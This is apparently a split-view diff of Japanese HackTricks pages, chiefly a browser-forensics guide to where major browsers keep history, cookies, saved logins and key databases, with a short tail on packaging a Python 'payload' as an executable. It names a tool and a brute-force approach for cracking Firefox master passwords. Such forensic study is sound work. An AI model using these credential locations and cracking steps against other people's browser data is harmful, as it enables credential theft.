copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### PyInstallerを使用してペイロードを作成する方法 ### PyInstallerを使用してペイロードを作成するには
1. pipを使用してPyInstallerをインストールしますpip install pyinstaller 1. pipを使用してPyInstallerをインストールしますpip install pyinstaller
2. その後、コマンド「pyinstaller --onefile hello.py」を発行します'hello.py'はペイロードです。これにより、すべてが1つの実行可能ファイルにバンドルされます。 2. その後、「pyinstaller onefile hello.py」というコマンドを発行しますhello.pyは私たちのペイロードです。これにより、すべてが1つの実行可能ファイルにバンドルされます。
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,26 +213,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully. 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
``` ```
## 参考 ## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti** に **サインアップ** してください。これは、ハッカーによって作成されたプレミアム **バグバウンティプラットフォーム** です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得しましょう! **バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られたプレミアム** **バグバウンティプラットフォーム** **Intigritiにサインアップ** しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# ブラウザのアーティファクト # ブラウザのアーティファクト
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricks で企業を宣伝**したい場合や、**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a> ## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに保管され、ブラウザごとに場所と名前が異なりますが、一般的には類似したデータ型を保存しています。 ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、ウェブブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダーに保存され、ブラウザごとに場所と名前が異なりますが、一般的には同様のデータタイプを保存しています。
以下は、最も一般的なブラウザのアーティファクトの概要です: 最も一般的なブラウザのアーティファクトの概要は次のとおりです:
- **ナビゲーション履歴**: ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 * **ナビゲーション履歴**: ユーザーが訪れたウェブサイトを追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。
- **オートコンプリートデータ**: 頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 * **オートコンプリートデータ**: 頻繁な検索に基づく提案で、ナビゲーション履歴と組み合わせる洞察を提供します。
- **ブックマーク**: ユーザーが保存したサイトへのクイックアクセス * **ブックマーク**: ユーザーが迅速にアクセスするために保存したサイト
- **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能アドオン。 * **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能またはアドオン。
- **キャッシュ**: Webコンテンツ画像、JavaScriptファイルなどを保存してWebサイトの読み込み時間を短縮するための貴重な情報 * **キャッシュ**: ウェブコンテンツ画像、JavaScriptファイルを保存し、ウェブサイトの読み込み時間を改善します。法医学的分析にとって価値があります
- **ログイン情報**: 保存されたログイン資格情報。 * **ログイン情報**: 保存されたログイン資格情報。
- **Favicons**: タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 * **ファビコン**: ウェブサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。
- **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。 * **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。
- **ダウンロード**: ブラウザを介してダウンロードされたファイルの記録。 * **ダウンロード**: ブラウザを通じてダウンロードされたファイルの記録。
- **フォームデータ**: Webフォームに入力された情報で、将来の自動入力の提案のために保存されます。 * **フォームデータ**: ウェブフォームに入力された情報で、将来のオートフィル提案のために保存されます。
- **サムネイル**: Webサイトのプレビュー画像。 * **サムネイル**: ウェブサイトのプレビュー画像。
- **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。 * **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。
## Firefox ## Firefox
Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいた特定の場所に保存します: Firefoxは、ユーザーデータをプロファイル内に整理し、オペレーティングシステムに基づいて特定の場所に保存します:
- **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
これらのディレクトリ内には、`profiles.ini` ファイルがユーザープロファイルのリストを示しています。各プロファイルのデータは、`profiles.ini` と同じディレクトリにある `Path` 変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。 これらのディレクトリ内の`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`内の`Path`変数に名前が付けられたフォルダーに保存され、`profiles.ini`自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合、それは削除された可能性があります。
各プロファイルフォルダ内には、いくつかの重要なファイルがあります: 各プロファイルフォルダ内には、いくつかの重要なファイルがあります
- **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows 上の [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) のようなツールを使用して履歴データにアクセスできます。 * **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)のようなツールで履歴データにアクセスできます。
- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 * 特定のSQLクエリを使用して、履歴とダウンロード情報を抽出します。
- **bookmarkbackups**: ブックマークのバックアップを含みます。 * **bookmarkbackups**: ブックマークのバックアップを含みます。
- **formhistory.sqlite**: Webフォームデータを保存します。 * **formhistory.sqlite**: ウェブフォームデータを保存します。
- **handlers.json**: プロトコルハンドラを管理します。 * **handlers.json**: プロトコルハンドラを管理します。
- **persdict.dat**: カスタム辞書の単語。 * **persdict.dat**: カスタム辞書の単語。
- **addons.json** および **extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。 * **addons.json**および**extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。
- **cookies.sqlite**: Cookieの保存場所で、Windows 上で [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) を使用して検査できます。 * **cookies.sqlite**: クッキーの保存、Windows上での検査には[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)が利用可能です。
- **cache2/entries** または **startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) のようなツールを使用してアクセスできます。 * **cache2/entries**または**startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)のようなツールを通じてアクセスできます。
- **favicons.sqlite**: Faviconsを保存します。 * **favicons.sqlite**: ファビコンを保存します。
- **prefs.js**: ユーザー設定と環境設定 * **prefs.js**: ユーザー設定と好み
- **downloads.sqlite**: 以前のダウンロードデータベースで、現在はplaces.sqliteに統合されています。 * **downloads.sqlite**: 古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。
- **thumbnails**: Webサイトのサムネイル。 * **thumbnails**: ウェブサイトのサムネイル。
- **logins.json**: 暗号化されたログイン情報。 * **logins.json**: 暗号化されたログイン情報。
- **key4.db** または **key3.db**: 機密情報を保護するための暗号化キーを保存します。 * **key4.db**または**key3.db**: 機密情報を保護するための暗号化キーを保存します。
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js` 内で `browser.safebrowsing` エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内の`browser.safebrowsing`エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。
マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) を使用できます。\ マスターパスワードを解読しようとするには、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: 次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -93,111 +94,114 @@ done < $passfile
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します
- **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。次のファイルには重要なデータが含まれています: これらのディレクトリ内で、ほとんどのユーザーデータは**Default/**または**ChromeDefaultData/**フォルダーにあります。以下のファイルには重要なデータが含まれています:
- **History**: URL、ダウンロード、検索キーワードが含まれています。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 * **History**: URL、ダウンロード、検索キーワードを含みます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)を使用して履歴を読むことができます。「Transition Type」列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
- **Cookies**: クッキーが保存されています。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 * **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)が利用可能です。
- **Cache**: キャッシュされたデータが保存されています。検査するには、Windowsユーザーは [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 * **Cache**: キャッシュデータを保持します。検査するには、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)を利用できます。
- **Bookmarks**: ユーザーのブックマーク。 * **Bookmarks**: ユーザーのブックマーク。
- **Web Data**: フォームの履歴が含まれています。 * **Web Data**: フォーム履歴を含みます。
- **Favicons**: ウェブサイトのファビコンが保存されています。 * **Favicons**: ウェブサイトのファビコンを保存します。
- **Login Data**: ユーザー名やパスワードなどのログイン情報が含まれています。 * **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。 * **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンタブに関するデータ。
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッションでアクティブだったサイトに関する情報。 * **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
- **Extensions**: ブラウザの拡張機能やアドオンのディレクトリ。 * **Extensions**: ブラウザ拡張機能やアドオンのディレクトリ。
- **Thumbnails**: ウェブサイトのサムネイルが保存されています。 * **Thumbnails**: ウェブサイトのサムネイルを保存します。
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 * **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}`探します。 * **Browsers built-in anti-phishing**: フィッシング対策とマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるか探します。
## **SQLite DBデータの回復** ## **SQLite DB Data Recovery**
前のセクションで確認できるように、ChromeとFirefoxはデータを保存するために **SQLite** データベースを使用しています。ツール [**sqlparse**](https://github.com/padfoot999/sqlparse) または [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) を使用して、削除されたエントリを回復することが可能です 前のセクションで観察できるように、ChromeとFirefoxの両方はデータを保存するために**SQLite**データベースを使用しています。**削除されたエントリを回復することが可能です** [**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して。
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 は、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するために、さまざまな場所にデータとメタデータを管理しています。 Internet Explorer 11は、データとメタデータをさまざまな場所で管理し、保存された情報とその対応する詳細を分離して簡単にアクセスおよび管理できるようにします。
### メタデータの保存 ### メタデータストレージ
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`VX は V01、V16、または V24に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれます。 Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`に保存されますVXはV01、V16、またはV24です。これに伴い、`V01.log`ファイルは`WebcacheVX.data`との修正時間の不一致を示すことがあり、`esentutl /r V01 /d`を使用して修復が必要です。このメタデータはESEデータベースに格納されており、photorecや[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese\_database\_view.html)などのツールを使用して回復および検査できます。**Containers**テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれています。
### キャッシュ検査 ### キャッシュ検査
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュのメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)ツールを使用してキャッシュを検査できます。キャッシュデータ抽出フォルダーの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュ作成、アクセス、修正、期限切れのタイムスタンプが含まれます。
### クッキー管理 ### クッキー管理
クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。 クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して探索でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。
### ダウンロード詳細 ### ダウンロード詳細
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を介してアクセスで、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保存されています。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 ダウンロードのメタデータは[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese\_database\_view.html)を介してアクセス可能で、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されています。物理ファイルは`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`にあります。
### 閲覧履歴 ### ブラウジング履歴
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。 ブラウジング履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用でき、抽出された履歴ファイルの場所とInternet Explorerの設定が必要です。ここでのメタデータには、修正およびアクセス時間、アクセス回数が含まれます。履歴ファイルは`%userprofile%\Appdata\Local\Microsoft\Windows\History`にあります。
### 入力されたURL ### 入力されたURL
入力されたURLとその使用時刻は、`NTUSER.DAT` 内の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に格納されており、ユーザーが入力した最後の50のURLとその最終入力時刻を追跡しています。 入力されたURLとその使用時間は、`NTUSER.DAT`の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`の下にレジストリに保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。
## Microsoft Edge ## Microsoft Edge
Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです: Microsoft Edgeは、`%userprofile%\Appdata\Local\Packages`にユーザーデータを保存します。さまざまなデータタイプのパスは次のとおりです:
- **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **履歴、クッキー、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Safariデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです: Safariデータは`/Users/$User/Library/Safari`に保存されます。主要なファイルは次のとおりです:
- **History.db**: `history_visits``history_items` テーブルが含まれ、URLと訪問時刻が保存されています。`sqlite3` を使用してクエリを実行します。 * **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。
- **Downloads.plist**: ダウンロードしたファイルに関する情報。 * **Downloads.plist**: ダウンロードされたファイルに関する情報。
- **Bookmarks.plist**: ブックマークされたURLが保存されています。 * **Bookmarks.plist**: ブックマークされたURLを保存します。
- **TopSites.plist**: 最も頻繁に訪れるサイト。 * **TopSites.plist**: 最も頻繁に訪問されたサイト。
- **Extensions.plist**: Safariブラウザの拡張機能のリスト。`plutil` または `pluginkit` を使用して取得します。 * **Extensions.plist**: Safariブラウザ拡張機能のリスト。`plutil`または`pluginkit`を使用して取得します。
- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。`plutil` を使用して解析します。 * **UserNotificationPermissions.plist**: プッシュ通知を許可されたドメイン。`plutil`を使用して解析します。
- **LastSession.plist**: 最後のセッションからのタブ。`plutil` を使用して解析します。 * **LastSession.plist**: 最後のセッションのタブ。`plutil`を使用して解析します。
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。1 が返されると、その機能が有効になっていることを示します。 * **Browsers built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`を使用して確認します。1の応答は機能がアクティブであることを示します。
## Opera ## Opera
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴やダウンロードに関してはChromeと同じ形式を共有しています。 Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと共有しています。
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled``true` に設定されているかどうかを確認するには、`grep` を使用して確認します。 * **Browsers built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。
これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。
## 参考文献 ## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
- **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** * **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
今すぐアクセスしてください: Get Access Today:
